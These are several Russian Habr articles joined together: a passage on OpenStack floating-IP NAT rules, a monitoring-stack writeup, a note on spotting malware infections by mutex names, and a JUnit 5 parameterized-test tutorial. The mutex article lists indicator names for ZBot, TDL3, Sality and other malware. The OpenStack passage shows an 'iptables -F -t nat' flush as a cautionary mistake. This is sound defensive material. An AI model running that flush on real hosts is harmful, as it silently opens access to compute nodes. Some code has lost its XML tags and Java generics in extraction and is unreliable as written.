-Плавающий IP-адрес настроен как вторичный адрес на интерфейсе eth1: это на выходе команды “ip addr show eth1", содержащей следующие действия:
inet 91.207.15.105/24 scope global eth1 # primary eth1 ip
inet 91.207.16.144/32 scope global eth1 # floating ip of VM\_1
-Набор правил NAT для плавающего IP-адреса настраивается в таблицах iptables. Ниже приведены все соответствующие записи из таблицы «nat» вычислительного узла (за исключением команды “iptables –S -t nat". Подробно о том, как настроить NAT с помощью таблиц iptables в Linux можно посмотреть [здесь](http://www.netfilter.org/documentation/HOWTO/NAT-HOWTO-6.html)):
# this rule ensures that packets originating from compute node
# where the instance resides, will reach the instance via its floating IP:
-A nova-network-OUTPUT -d 91.207.16.144/32 -j DNAT --to-destination 10.0.0.3
# ensures that all external traffic to the floating IP
# is directed to the fixed IP of the instance
-A nova-network-PREROUTING -d 91.207.16.144/32 -j DNAT --to-destination 10.0.0.3
# all the traffic originating from the instance will be SNAT-ted to its floating IP
-A nova-network-float-snat -s 10.0.0.3/32 -j SNAT --to-source 91.207.16.144
В общем, nova-network добавляет дополнительные цепочки к тем, которые предварительно определены в таблице NAT. Порядок цепочек по отношению к трафику по плавающему IP-адресу показан ниже (с использованием правил, показанных выше):
Chain OUTPUT — Chain nova-network-OUTPUT — Rule: -d 91.207.16.144/32 -j DNAT --to-destination 10.0.0.3
Chain PREROUTING — Chain nova-network-PREROUTING — Rule: -d 91.207.16.144/32 -j DNAT --to-destination 10.0.0.3
Chain POSTROUTING — Chain nova-postrouting-bottom — Chain nova-network-snat — Chain nova-network-float-snat — Rule: -s 10.0.0.3/32 -j SNAT --to-source 91.207.16.144
-Код, ответственный за задание правил, располагается в nova/network/linux\_net.py в функции:
def floating\_forward\_rules(floating\_ip, fixed\_ip):
return [('PREROUTING', '-d %s -j DNAT --to %s' % (floating\_ip, fixed\_ip)),
('OUTPUT', '-d %s -j DNAT --to %s' % (floating\_ip, fixed\_ip)),
('float-snat',
'-s %s -j SNAT --to %s' % (fixed\_ip, floating\_ip))]
Возвращаемся к диаграмме. Если пользователь хочет получить доступ к виртуальной машине по своему IP-адресу из внешней сети (например, “ping 91.20.16.144″):
-Трафик достигает публичного интерфейса (eth1) вычислительного узла. В nova-network-PREROUTING выполняется DNAT, меняющий IP-адрес назначения пакетов с 91.207.16.144 на 10.0.0.3.
-Вычислительный узел обращается к своей таблице маршрутизации и видит, что сеть 10.0.0.0 доступна на интерфейсе br100 (за исключением “ip route show” вычислительного узла):
10.0.0.0/24 dev br100
Таким он направляет пакет на интерфейс br100, затем пакет достигает виртуальной машины.
Если виртуальная машина отправляет пакет во внешний мир (например, “ping 8.8.8.8):
-Так как адрес назначения не находится в локальной сети виртуальной машины, пакеты отправляются на шлюз виртуальной машины по умолчанию с IP-адресом 10.0.0.1 (адрес устройства “br100″ на вычислительном узле).
-Вычислительный узел проверяет свои таблицы маршрутизации и обнаруживает, что в непосредственно подключенных сетях нет адреса 8.8.8.8, поэтому он переадресует пакет на шлюз по умолчанию (который является первичным адресом eth1 — 91.207.15.105 в данном случае).
-Пакет попадает в цепочку POSTROUTING и передается цепочке “nova-network-float-snat”, где его исходный IP-адрес переписывается на плавающий IP-адрес (91.207.16.144).
#### Примечания о безопасности
При использовании OpenStack системные администраторы передают полный контроль за таблицами iptables сервисам nova. Набор настраиваемых правил очень сложен и с легкостью нарушается любым вмешательством извне. Более того, при каждом перезапуске демона nova-network он применяет все правила в цепочках таблиц iptables, связанных с OpenStack. Если есть необходимость каким-либо образом изменить поведение таблиц iptables, это можно сделать, изменив код в соответствующих местах linux\_net.py (для правил NAT это будут floating\_forward\_rules).
Также стоит сказать, что nova-network не отслеживает свои таблицы каким-либо образом. Таким образом, если мы вручную удаляем какие-либо правила из цепочек, связанных с OpenStack, они не восстановятся при следующем запуске nova-network.
Таким образом, системный администратор может легко случайно открыть нежелательный доступ к вычислительному узлу. Помните, что nova-network поместил плавающий IP-адрес как вторичный на интерфейсе eth1 и настроил правила DNAT, которые направляют трафик на фиксированный IP-адрес виртуальной машины:
-A nova-network-PREROUTING -d 91.207.16.144/32 -j DNAT --to-destination 10.0.0.3
Таким образом, весь трафик, направленный на 91.207.16.144, попадает на адрес 10.0.0.3.
Теперь давайте представим, что системный администратор ночью решал проблемы подключения к сети и случайно удалил все правила NAT, напечатав:
iptables –F –t nat
Указанное выше правило NAT было удалено, но интерфейсу eth1 все ещё присвоен вторичный IP-адрес 91.207.16.144. Таким образом, мы всё ещё можем обратиться к адресу 91.207.16.144 извне, но вместо того, чтобы попасть на виртуальную машину, у нас теперь есть доступ к самому вычислительному узлу (IP-адрес назначения более не транслируется по правилу DNAT, так как мы удалили все правила NAT). Эта дыра в безопасности не будет закрыта до следующего перезапуска процесса nova-network, который заново создаст правила.
#### Настройка плавающих IP-адресов
В сервисе nova.conf существуют флаги, которые влияют на поведение плавающих IP-адресов:
# the interface to which floating ips are attached
# as secondary addresses
public\_interface=«eth1»
# the pool from which floating IPs are taken by default
default\_floating\_pool=«pub»
# we can add a floating ip automatically to every instance that is spawned
auto\_assign\_floating\_ip=false
#### Итоговые комментарии
Кроме предоставления доступа к виртуальным машинам напрямую из интернета, механизм плавающих IP-адресов дает пользователям облака некоторую гибкость. После “забора” плавающего IP-адреса они могут менять их принадлежность, то есть на ходу назначать их различным виртуальным машинам и переназначать их, что значительно облегчает выпуск нового кода и обновления системы. Для системных администраторов это представляет потенциальную угрозу безопасности, так как лежащий в основе механизм (iptables) работает очень сложно и не отслеживается OpenStack. Поэтому очень важно, чтобы только программное обеспечение OpenStack могло менять политики брандмауэра и чтобы они не менялись вручную.
Оригинал статьи [на английском языке](http://www.mirantis.com/blog/configuring-floating-ip-addresses-networking-openstack-public-private-clouds/) | https://habr.com/ru/post/183264/ | null | ru | null |
# Мониторинг на основе данных
При работе над облачными сервисами Webzilla мы уделяем очень большое внимание системе мониторинга. Мы уверены, что только имея корректно работающий и надежный мониторинг, мы можем оказывать сервис на требуемом клиентами уровне качества. Во время работы над первым из облачных продуктов компании – облачным хранилищем Webzilla Instant Files – мы приступили к построению системы мониторинга еще до того, как начали строить сам продукт, продумали мониторинг для каждой функции еще на этапе её планирования.
Наша система мониторинга преследует несколько целей:
* В случае сбоя, мы не должны тратить время на то, чтобы определить, что произошло. Мы должны сразу и твердо это знать.
* Чтобы предотвратить максимальное количество сбоев до момента когда они затронут клиентов мы должны контролировать метрики и события, предвещающие проблемы.
* После любого инцидента мы должны иметь полный доступ ко всем данным, необходимым для расследования его причин, даже если на момент устранения его причина не была понятна.
* Наша команда поддержки должна реагировать на сбои оперативно и верно. Единственный способ достичь этого – обеспечить сотрудников инструментом, не загружающим их ненужной информацией.
Мы работали над системой мониторинга не меньше времени, чем над функциональной частью сервиса — и мы делимся наработанным опытом.
В целом, наша система мониторинга состоит из трех основных подсистем:
* сбора и анализа эксплуатационных данных;
* сбора и анализа логов;
* событийного мониторинга и оповещения.
Система сбора и анализа эксплуатационных данных
-----------------------------------------------
Обычно, когда говорят «мониторинг», под этим словом понимают событийный мониторинг (`** PROBLEM Host Alert: server01 is DOWN **`). Краеугольный же камень нашего мониторинга — непрерывная работа с операционными данными. Состояние всех находящихся под наблюдением систем описывается показателями, меняющимися в течение всего наблюдения.
В простейшем случае — если выключился сервер (скажем, из-за отключения питания) — эти данные имеют простую форму: доступно на 1 сервер меньше, чем мы ожидали. Если же ситуация более сложная: например, по каким-то причинам приложение постепенно деградировало и стало медленнее отвечать на запросы, измерения могут показать, например, что «95-й [перцентиль](http://ru.wikipedia.org/wiki/%D0%9A%D0%B2%D0%B0%D0%BD%D1%82%D0%B8%D0%BB%D1%8C#.D0.9F.D0.B5.D1.80.D1.86.D0.B5.D0.BD.D1.82.D0.B8.D0.BB.D1.8C) времени ответа удвоился за последнюю неделю». При этом, какого-то конкретного момента времени, когда система «сломалась» не существует. [Лягушка](http://ru.wikipedia.org/wiki/%D0%9B%D1%8F%D0%B3%D1%83%D1%88%D0%BA%D0%B0_%D0%B2_%D0%BA%D0%B8%D0%BF%D1%8F%D1%82%D0%BA%D0%B5) не может назвать точный момент времени, когда вокруг нее образовался кипяток.
Иными словами, привычные события переформулировать на языке данных чаще всего нетрудно, но данные имеют и самостоятельную дополнительную ценность. Мы решили строить мониторинг с ориентацией на данные.
Сначала мы собираем данные. Потом — принимаем решения.
Для сбора эксплуатационных данных мы выбрали [Ganglia](http://ganglia.sourceforge.net/). Нам оказались полезными несколько ее возможностей:
* «Из коробки» работает с кластерами;
* Естественно масштабируется;
* Создает низкую нагрузку на узлы, с которых собирает данные;
* Поддерживает отказоустойчивую конфигурацию;
* Хорошо сопрягается с системами событийного мониторинга;
* Панель инструментов не требует доработки напильником.
Ganglia состоит из трех типов компонент:
1. Ganglia monitoring daemon (gmond) — демон мониторинга Ganglia, запускающийся на каждом узле. Gmond собирает данные со своего сервера и отсылает их на другие узлы.
2. Ganglia meta daemon (gmetad) — мета-демон Ganglia, опрашивающий демоны мониторинга и собирающий метрики. Результаты измерений, собранные мета-демоном, записываются в структурированном виде и могут быть опубликованы произвольному набору доверенных хостов. Формат данных [документирован](https://github.com/ganglia/monitor-core/blob/master/gmond/dtd.h). Мы используем эти данные для графиков в веб-интерфейсе и информирования событийного мониторинга об аномалиях.
3. Веб-интерфейс Ganglia. В идеальном мире, где все процессы полностью автоматизированы, иметь веб-интерфейс к системе сбора данных необязательно. Мы же довольно активно смотрим на графики и выявляем закономерности самостоятельно. Можно использовать любой веб-интерфейс или написать свой собственный. Мы используем стандартный. Каждый сотрудник может сформировать собственный набор графиков для одновременного отображения и таким образом отслеживать именно те параметры, которые интересуют его. Также есть возможность строить агрегированные графики по нескольким хостам.
Ganglia нетрудно сконфигурировать так, чтобы данные были доступны и не терялись при авариях. Система поддерживает multicast-конфигурацию демонов мониторинга. Это означает, что все собранные эксплуатационные данные доставляются каждому узлу в кластере и сохраняются на нем. После этого, мета-демон выбирает, какой из демонов мониторинга опросить, и опрашивает его. Если при опросе происходит сбой, опрашивается следующая нода из кластера. Процесс продолжается до тех пор, пока либо не будет достигнут успех, либо не будет обойден весь кластер.
Конфигурирование такой системы осуществляется довольно просто.
### Конфигурирование Ganglia
Членство в кластере определяется в конфигурационном файле демона мониторинга gmond.conf
```
cluster {
name = "databases"
...
}
```
Все узлы кластера должны в конфигурации демона мониторинга иметь строчки, разрешающее рассылать мультикастом данные:
```
udp_send_channel {
mcast_if = eth0
mcast_join = 239.2.11.71
port = 8651
ttl = 1
}
```
и принимать данные от других узлов
```
udp_recv_channel {
mcast_if = eth0
mcast_join = 239.2.11.71
port = 8651
bind = 239.2.11.71
}
```
Кроме того, нужно разрешить мета-демону совершать опрос:
```
tcp_accept_channel {
port = 8649
}
```
Сам мета-демон посредством его конфигурационного файла gmetad.conf должен быть настроен так, чтобы он обходил по очереди все узлы:
```
data_source “databases” node_1_ip_address node_2_ip_address … node_N_ip_address
```
Описанная выше конфигурация изображается следующей схемой:
Демоны мониторинга Ganglia обмениваются данными друг с другом. Мета-демон опрашивает один демон мониторинга из кластера. При его недоступности, он обращается к следующему — и так далее. Веб-фронтенд получает XML от демона мониторинга и отображает его в понимаемой человеком форме.
### Практическое применение
Описанный подход позволяет собирать эксплуатационные данные со всех кластеров. У каждого кластера есть свои особенности, связанные с природой собираемых данных. У нас есть множество подсистем, отличающихся друг от друга — но при этом мы имеем один метод контролировать их все. Упомяну лишь два примера:
1. Наши системы управления, сбора информации о потреблении ресурсов и биллинга написаны на ruby. Для ruby есть гем [gmetric](http://rubygems.org/gems/gmetric), разработанный Ильей Григориком. С его помощью на этапе разработки мы включили биллинг в систему мониторинга за пару дней. Сразу после этого мы нашли несколько бутылочных горлышек и исключили их.
2. Важнейшее ПО, которое мы используем — [Openstack Swift](http://swift.openstack.org). Сбор данных с него [организуется при помощи StatsD](https://swiftstack.com/blog/2012/04/11/swift-monitoring-with-statsd/). StatsD в свою очередь имеет [бэкенд для Ganglia](https://github.com/jbuchbinder/statsd-ganglia-backend) — и с его помощью мы отсылаем данные в нашу систему сбора.
Если вам интересно увидеть, как выглядит веб-фронтенд Ganglia, это можно сделать на открытом [фронтенде Wikipedia](http://ganglia.wikimedia.org/latest/). Мы используем тот же интерфейс, устанавливаемый по умолчанию. Он выглядит недружественным, но подружиться с ним недолго. Кроме того, он имеет весьма приличную [мобильную версию](http://ganglia.wikimedia.org/latest/mobile.php), которая радует менеджера. Возможность компульсивно следить за работой системы, находясь где угодно и в любое время — бесценна.
Система сбора и анализа логов
-----------------------------
Логи важны по трем причинам:
1. Логи — это важнейший элемент post-mortem-ов и анализа происшествий. Если что-то сломалось, нужно изучить логи, чтобы понять причины произошедшего.
2. Логи помогают определять наличие проблем. Мы точно знаем, что то или иное поведение программ доставляет проблемы нашим пользователям и это поведение можно отслеживать при помощи логов.
3. Логи также предоставляют некоторые метрики. Можно считать частоту тех или иных событий при помощи логов и отправлять ее в систему сбора эксплуатационных данных.
Для организации системы сбора логов мы выбрали [Logstash](http://logstash.net/)
*Нельзя пройти мимо проекта с таким милым логотипом*
Мы настроили Logstash как [rsyslog](http://www.rsyslog.com/)-сервер. Благодаря этому Logstash может собирать логи с любого софта, способного писать в syslog.
Иметь просто систему сбора логов мало. Мы хотим получать от этого выгоду. Централизованое хранилище логов несет сразу несколько плюсов.
### Индексирование и поиск
Когда количество серверов измеряется десятками, не говоря уже про сотни, удобство работы с логами имеет значение. У этого удобства есть два аспекта: гибкость и простота использования.
Logstash может использоваться совместно с ПО, которое обеспечивает эти возможности — [Elasticsearch](http://www.elasticsearch.org/overview/elasticsearch/) и [Kibana](http://www.elasticsearch.org/overview/kibana/).
Elasticsearch — это система поиска, снабженная REST API, построенная на основе [Apache Lucene](https://lucene.apache.org). Наличие API делает систему гибкой.
Kibana — это веб-фронтенд, способный работать поверх Elasticsearch. Он отвечает за простоту использования. Работу Kibana можно оценить по [демонстрационной странице](http://demo.kibana.org/#/dashboard)
Событийный мониторинг
---------------------
Когда кто-то строит систему мониторинга, она может не иметь системы сбора логов или эксплуатационных данных (хотя это и неправильно). Но она точно имеет событийный мониторинг — собственно говоря, поиск по «Хабрахабру» говорит нам о том, что обсуждая мониторинг, люди имеют в виду прежде всего именно его событийную составляющую.
Событийный мониторинг важен потому, что он предоставляет главные интерфейсы для взаимодействия операторов поддержки с системой. Он служит для них приборной панелью и отсылает уведомления.
В качестве системы событийного мониторинга мы выбрали [Shinken](http://www.shinken-monitoring.org/). Это Nagios-подобная система мониторинга, но не форк Nagios. Shinken был переписан полностью с нуля, сохранив при этом совместимость с плагинами для Nagios.
На сайте системы ее рекламируют как обладающую следующими возможностями:
* умная фильтрация и обнаружение корневых проблем, ведущая к уменьшению количества ненужных оповещений;
* концентрация на «воздействии на бизнес»;
* масштабируемость;
* надежность.
В «концентрации на воздействии на бизнес» и «обнаружении корневых проблем» мы не нашли для себя большой ценности: фактически, логики, которую обеспечивает Nagios для этого достаточно.
С точки зрения же масштабируемости и надежности Shinken дает интересные возможности.
### Масштабирование и обеспечение отказоустойчивости
Shinken — по-настоящему модульная система. Одна из главных инноваций, представленные в Shinken — это четкое разделение на различные демоны:
* Pollers — запускают проверки и возвращают результаты;
* Reactionners — реагируют на результаты, отсылая уведомления или запуская обработчики событий;
* Schedulers — распределяют задачи между поллерами и результаты между реакционерами. Schedulers имеют некоторый внутренний интеллект, который позволяет им, например, если одна из проверок возвращает ошибку, поднять наверх очереди проверки от которых она зависит.
* Brokers — получают данные от scheduler-ов и сохраняют их в заданные при помощи плагинов хранилища.
* Arbiter — арбитр знает всю конфигурацию системы и распределяет части конфигурации и задачи между scheduler-ами. Он проверяет работоспособность других демонов, и если, например, один из scheduler-ов не отвечает, он делит его задачи между другими. В одном кластере нельзя иметь более одного активного арбитра.
Каждый из этих демонов может запускаться совершенно независимо от остальных. Кроме того, можно запускать столько демонов, сколько нужно (за исключением арбитра).
Обеспечение резервирования арбитров довольно несложно. Каждый демон может иметь запасной (spare) экземпляр. За это отвечает параметр конфигурации 'spare'. При определении основного арбитра он устанавливается равным нулю,
```
define arbiter{
arbiter_name arbiter-master
address master_ip
host_name master_hostname
port 7770
spare 0
}
```
а при конфигурировании запасного — единице
```
define arbiter{
arbiter_name arbiter-slave
address spare_ip
host_name slave_hostname
port 7770
spare 1
}
```
Когда главный арбитр отказывает, запасной принимает на себя управление. Если арбитры сконфигурированы идентично (а это — единственный правильный способ их настраивать), потеря связности между ними ничем не угрожает. Запасной сделает все то же, что и основной, и не нанесет вреда.
Описание событийного мониторинга было бы неполным, не упомяни мы о событиях, которые мы отслеживаем. Многие из них довольно специфичны (и поэтому малоинтересны большинству читателей), другие — очень общие (и поэтому хорошо описаны в десятке других мест). Однако, пара из них тесно связаны со всей описанной выше системой и потому представляют интерес.
### Немного о проверках
#### «Живость» хоста
Можно придумать много определений «живого» хоста. Некоторые полагают, что живым можно считать хост, отвечающий на ICMP. В реальности, выбор правильного определения не имеет большого значения. Важен сервис, запущенный на хосте, а не сам хост. Главная причина, по которой нам нужно знать жив хост или нет в каком-то формальном смысле — это правильное определение зависимостей. Построив описанную систему, проверку живости хоста мы получили «бесплатно». Каждый хост должен отправлять в Ganglia свои данные. Пока он их действительно отсылает — он в некотором смысле «жив». Если не отсылает — с ним точно не все в порядке. Мы проверяем наличие этих данных при помощи [Ganglia-плагина для Nagios](http://exchange.nagios.org/directory/Plugins/Network-and-Systems-Management/Others/check_ganglia/details), слегка модифицированного для наших целей.
#### Проверка эксплуатационных данных
Имея систему сбора эксплуатационных данных, было бы неразумно не использовать ее в событийном мониторинге. Самый простой способ сделать это — сравнивать получаемые значения с некоторыми пороговыми. Упомянутый в предыдущем пункте Ganglia-плагина для Nagios делает это из коробки.
TL;DR
-----
Высокоуровневая схема взаимодействия компонент мониторинга
Понять ее проще, чем нарисовать.
Кластер приложения отсылает эксплуатационные данные в Ganglia, логи в Logstash и событийные проверки в Shinken.
Ganglia отсылает данные о «живости» хостов и проверки эксплуатационных данных в Shinken.
Shinken обрабатывает получаемое двумя способами. Он отсылает уведомления операторам и запускает обработчики событий, исправляющие некоторые неисправности.
Логи, эксплуатационные данные и информация о событиях отправляются в «приборные панели» — Kibana, Ganglia web frontend и Shinken web соответственно, где за ними наблюдают операторы.
Почему мы решили про это написать?
----------------------------------
Система мониторинга, которую мы строили не задумывалась как соответствующая каким-то «правильным» практикам панацея. Тем не менее, в жизни она показала себя надежным помощником, на которого можно положиться.
Основным элементом нашей системы предотвращения и обработки нештатных ситуаций является наша команда поддержки, работающая беспрерывно. Мы не пытались придумать автономную систему, способную работать без человеческого вмешательства.
То, что она работает в нашем окружении не означает, что она будет работать в другом без внесения в нее изменений. Мониторинг является частью нашей общей экосистемы, включающей как технические меры (такие как наличие и грамотное использование системы управления конфигурациями), так и бизнес-процессы в работе нашей команды поддержки.
Тем не менее, мы уверены, что наш подход достаточно гибок и может быть в том или ином виде применен в достаточно широком круге ситуаций, с которыми сталкиваются в своей работе команды, поддерживающие IT-сервисы. | https://habr.com/ru/post/220707/ | null | ru | null |
# Использование мьютексов для обнаружения активного заражения
При выполнении заражения системы перед вирмейкером всегда стоит задача определения, а не является ли данная система уже заражённой. В противном случае, выполнение повторных механизмов инфицирования в ряде случаев может привести к нарушению работы троянца либо дестабилизацией всей системы. И то и другое — нежелательно.
Одним из механизмов по предотвращению этого явления является создание специфичных мьютексов, по наличию которых делается вывод о наличии активного заражения. При этом мьютексы никак не скрываются, а потому могут быть надёжным сигналом наличия определённой инфекции.
Выполнение вывода списка хэндлов на все мьютексы, открытые в системе, можно сделать с помощью [утилиты Handle от Марка Руссиновича](http://technet.microsoft.com/ru-ru/sysinternals/bb896655). Это делается простой командой:
`handle.exe -a > log.txt`
Выполнив парсинг полученного списка можно не только получить информацию о том, есть ли инфекция в системе, но и в ряде случаев получить информацию, какой именно файл является потенциально заражённым.
Учитывая то, что полный сбор логов даже на весьма загруженной машине занимает несколько секунд, представляется перспективным создание черно-белых списков мьютексов, позволяющих проводить экспресс-оценку заражённости. Например, хорошо известно, что:
**\_AVIRA\_[буквы]** или **\_\_SYSTEM\_\_[буквы]** — маркер ZBot
**svchost\_test\_started** — маркер TDL3
**Flameddos** — маркер Bifrost
**\_\_b4ng\_\_b4ng\_\_38** — маркер Tigger
**Jo1ezdsl** — маркер Bankpatch.C
**Op1mutx9** или **Ap1mutx7** — и обязательно в комплексе с **\*exeM\_\*** — маркер Sality
**Jhdheddfffffhjk5trh** — маркер Allaple
**1337bot** — маркер Spybot
**Rootz** — маркер Sdbot
Следует отметить, что наличие специфичных мьютексов можно обнаружить и по полным дампам памяти заражённой системы с помощью [плагина mutantscan Андреаса Шустера для Volatility](https://code.google.com/p/volatility/).
Безусловно, данный способ не даёт 100% информации о полном механизме последующего лечения, кроме того вирмейкер может снять указанный «детект» всего несколькими изменениями в коде, но с другой стороны достоинством является экспрессность и простота ведения баз. | https://habr.com/ru/post/114713/ | null | ru | null |
# Туториал по JUnit 5 - Аннотация @ParameterizedTest
> Это продолжение туториала по JUnit 5. Введение опубликовано [здесь](https://habr.com/ru/post/590607/).
>
>
**Оглавление**
1. Настройка
2. Аннотация @ParameterizedTest
3. Источники тестовых аргументов
4. Параметризованные тесты с несколькими аргументами.
5. Вывод
### 1. Настройка
Включите зависимость `junit-jupiter-params`, чтобы использовать параметризованные тесты.
Последнюю версию можно найти по этой [ссылке](https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter-params).
**pom.xml**
```
org.junit.jupiter
junit-jupiter-params
${junit-version}
test
```
### 2. Аннотация @ParameterizedTest
* Используйте аннотацию *@ParameterizedTest,* чтобы выполнить тест несколько раз, но с разными аргументами. Нам не нужно использовать аннотацию *@Test*, вместо этого в таких тестах используется только аннотация *@ParameterizedTest*.
* Мы должны объявить по крайней мере один источник аргументов, предоставляющий аргументы для каждого вызова, которые будут использоваться в тестовом методе.
* В данном примере `testPalindrome` будет вызываться 2 раза для каждой строки, указанной в аннотации `@ValueSource`. Мы получаем доступ к аргументу, используя параметр `word` метода.
* Используйте аргумент `name` в аннотации *@ParameterizedTest,* чтобы настроить отображаемое сообщение.
```
public class ParameterizedTests
{
public boolean isPalindrome(String s) {
return s == null ? false : StringUtils.reverse(s).equals(s);
}
@ParameterizedTest(name = "{index} - {0} is a palindrome")
@ValueSource(strings = { "12321", "pop" })
void testPalindrome(String word) {
assertTrue(isPalindrome(word));
}
}
```
### 3. Источники тестовых аргументов
Есть несколько способов передать аргументы методу тестирования. Давайте изучим их.
#### 3.1. Аннотация @ValueSource
* Используйте `@ValueSource` для простых буквальных значений, таких как примитивы и строки.
* Она определяет один массив значений и может использоваться только для предоставления одного аргумента для каждого параметризованного вызова теста.
* Java поддерживает [автобоксирование,](https://howtodoinjava.com/java/basics/java-wrapper-classes/) поэтому мы также можем использовать литералы в их классах-оболочках.
* Мы не можем передавать `null` в качестве аргумента даже для типов String и Class.
```
@ParameterizedTest
@ValueSource(ints = { 1, 2, 3 })
void testMethod(int argument) {
//test code
}
@ParameterizedTest
@ValueSource(ints = { 1, 2, 3 })
void testMethodWithAutoboxing(Integer argument) {
//test code
}
```
#### 3.2. Аннотация @NullSource
Она предоставляет единственный `null` аргумент методу, аннотированному *@ParameterizedTest*.
```
@ParameterizedTest
@NullSource
void testMethodNullSource(Integer argument) {
assertTrue(argument == null);
}
```
#### 3.3. Аннотация @EmptySource
Она предоставляет метод, аннотированный *@ParameterizedTest, с* единственным пустым аргументом следующих типов:
* java.lang.String
* java.util.List
* java.util.Set
* java.util.Map
* примитивные массивы (например, int [])
* массивы объектов (например, String [])
```
@ParameterizedTest
@EmptySource
void testMethodEmptySource(String argument) {
assertTrue(StringUtils.isEmpty(argument));
}
```
#### 3.4. Аннотация @NullAndEmptySource
Она сочетает в себе функциональность *@NullSource* и *@EmptySource*. В данном примере тестовый метод будет вызываться два раза - сначала со значением `null`, а затем со значением `empty`.
```
@ParameterizedTest
@NullAndEmptySource
void testMethodNullAndEmptySource(String argument) {
assertTrue(StringUtils.isEmpty(argument));
}
```
> **Проверка null и non-null значений в одном тесте**
>
> Мы уже знаем, что аннотация *@ValueSource* не поддерживает значение `null`.
>
> Таким образом, используя `@NullSource` и `@EmptySource` в аннотации `@ValueSource`, мы можем тестировать *null*, *non-null* и *пустые* значения в одном и том же тесте.
>
>
#### 3.5. Аннотация @EnumSource
Это удобный способ использования `Enum` констант. Метод тестирования будет вызываться для каждой константы перечисления за раз.
В данном примере тестовый метод будет вызываться 4 раза, по одному разу для каждой `Enum` константы.
```
enum Direction {
EAST, WEST, NORTH, SOUTH
}
@ParameterizedTest
@EnumSource(Direction.class)
void testWithEnumSource(Direction d) {
assertNotNull(d);
}
```
#### 3.6. Аннотация @MethodSource
* Она используется для ссылки на один или несколько фабричных методов тестового класса или внешних классов. Фабричный метод должен генерировать поток аргументов, где каждый аргумент в потоке будет использоваться методом, аннотированным *@ParameterizedTest*.
* Фабричный метод должен быть `static`, если тестовый класс не аннотирован с помощью `@TestInstance(Lifecycle.PER_CLASS)`.
* Кроме того, фабричный метод не должен принимать аргументы.
```
@ParameterizedTest
@MethodSource("argsProviderFactory")
void testWithMethodSource(String argument) {
assertNotNull(argument);
}
static Stream argsProviderFactory() {
return Stream.of("alex", "brian");
}
```
Если мы явно не предоставим имя фабричного метода через @MethodSource, JUnit будет искать фабричный метод, имя которого по умолчанию совпадает с именем текущего метода с аннотацией `@ParameterizedTest`.
Поэтому, в примере, если мы не предоставим имя метода `argsProviderFactory` в аннотации `@MethodSource`, Junit будет искать имя метода `testWithMethodSource` с возвращаемым типом `Stream`.
```
@ParameterizedTest
@MethodSource
void testWithMethodSource(String argument) {
assertNotNull(argument);
}
static Stream testWithMethodSource() {
return Stream.of("alex", "brian");
}
```
Также поддерживаются потоки для примитивных типов (*DoubleStream, IntStream и LongStream*).
```
@ParameterizedTest
@MethodSource("argsProviderFactory")
void testWithMethodSource(int argument) {
assertNotEquals(9, argument);
}
static IntStream argsProviderFactory() {
return IntStream.range(0, 10);
}
```
#### 3.7. Аннотация @CsvSource
Эта аннотация позволяет нам задавать списки аргументов как значения, разделенные запятыми. Каждый CSV токен представляет собой строку CSV и приводит к одному вызову параметризованного теста.
Задайте для свойства `ignoreLeadingAndTrailingWhitespace` значение true или false, указывающее на то, что Junit должен принимать или игнорировать пробелы в CSV токенах.
```
@ParameterizedTest
@CsvSource(value = {
"alex, 30",
"brian, 35",
"charles, 40"
}, ignoreLeadingAndTrailingWhitespace = true)
void testWithCsvSource(String name, int age) {
assertNotNull(name);
assertTrue(age > 0);
}
```
#### 3.8. Аннотация @CsvFileSource
Эта аннотация очень похожа на `@CsvSource` за исключением того, что мы читаем токены CSV из файла вместо чтения токенов в исходном тексте. CSV файл можно прочитать по classpath или из локальной файловой системы.
Разделителем по умолчанию является запятая (`,`), но мы можем использовать другой символ, установив атрибут *разделителя*.
Обратите внимание, что любая строка, начинающаяся с символа `#`, будет интерпретироваться как комментарий и игнорироваться.
```
@ParameterizedTest
@CsvFileSource(resources = "employeeData.csv", numLinesToSkip = 0)
void testWithCsvFileSource(String name, int age) {
assertNotNull(name);
assertTrue(age > 0);
}
```
#### 3.9. Аннотация @ArgumentsSource
Аннотацию @ArgumentsSource можно использовать для указания настраиваемого многоразового поставщика аргументов *ArgumentsProvider*.
```
@ParameterizedTest(name = "{index} - {0} is older than 40")
@ArgumentsSource(EmployeesArgumentsProvider.class)
void isEmployeeAgeGreaterThan40(Employee e) {
assertTrue(Period.between(e.getDob(), LocalDate.now()).get(ChronoUnit.YEARS) > 40);
}
class EmployeesArgumentsProvider implements ArgumentsProvider {
@Override
public Stream extends Arguments provideArguments(ExtensionContext context) {
return Stream.of(
Arguments.of(new Employee(1, "Alex", LocalDate.of(1980, 2, 3))),
Arguments.of(new Employee(2, "Brian", LocalDate.of(1979, 2, 3))),
Arguments.of(new Employee(3, "Charles", LocalDate.of(1978, 2, 3)))
);
}
}
```
### 4. Параметризованные тесты с несколькими аргументами.
Чтобы написать тесты, которые могут использовать несколько аргументов, мы можем использовать следующие аннотации:
#### 4.1. Аннотация @CsvSource
Как показано в предыдущем *разделе 3.7*, с помощью аннотации `@CsvSource` мы можем предоставить множество литералов и простых типов аргументов.
Нам нужно предоставить все аргументы в одном токене CSV, а затем определить соответствующие аргументы метода.
```
@ParameterizedTest
@CsvSource({
"alex, 30, HR, Active",
"brian, 35, Technology, Active",
"charles, 40, Finance, Purged"
})
void testWithCsvSource(String name, int age, String department, String status) {
//test code
}
```
#### 4.2. Интерфейс ArgumentsProvider
Чтобы предоставить несколько тестовых аргументов сложных или настраиваемых типов, мы должны использовать аннотацию `@ArgumentsSource` с аннотацией `ArgumentsProvider`.
В примере мы передаем три аргумента метода тестирования `testArgumentsSource`, типов `Employee`, `LocalDate`и enum константы типа `Direction`.
```
@ParameterizedTest
@ArgumentsSource(EmployeesArgumentsProvider.class)
void testArgumentsSource(Employee e, LocalDate date, Direction d) {
assertTrue(Period.between(e.getDob(), LocalDate.now()).get(ChronoUnit.YEARS) > 40);
assertNotNull(date);
assertNotNull(d);
}
class EmployeesArgumentsProvider implements ArgumentsProvider {
@Override
public Stream extends Arguments provideArguments(ExtensionContext context) {
return Stream.of(
Arguments.of(new Employee(1, "Alex",
LocalDate.of(1980, 2, 3)), LocalDate.now(), Direction.EAST),
Arguments.of(new Employee(2, "Brian",
LocalDate.of(1979, 2, 3)), LocalDate.now(), Direction.NORTH),
Arguments.of(new Employee(3, "Charles",
LocalDate.of(1978, 2, 3)), LocalDate.now(), Direction.SOUTH)
);
}
```
### 5. Вывод
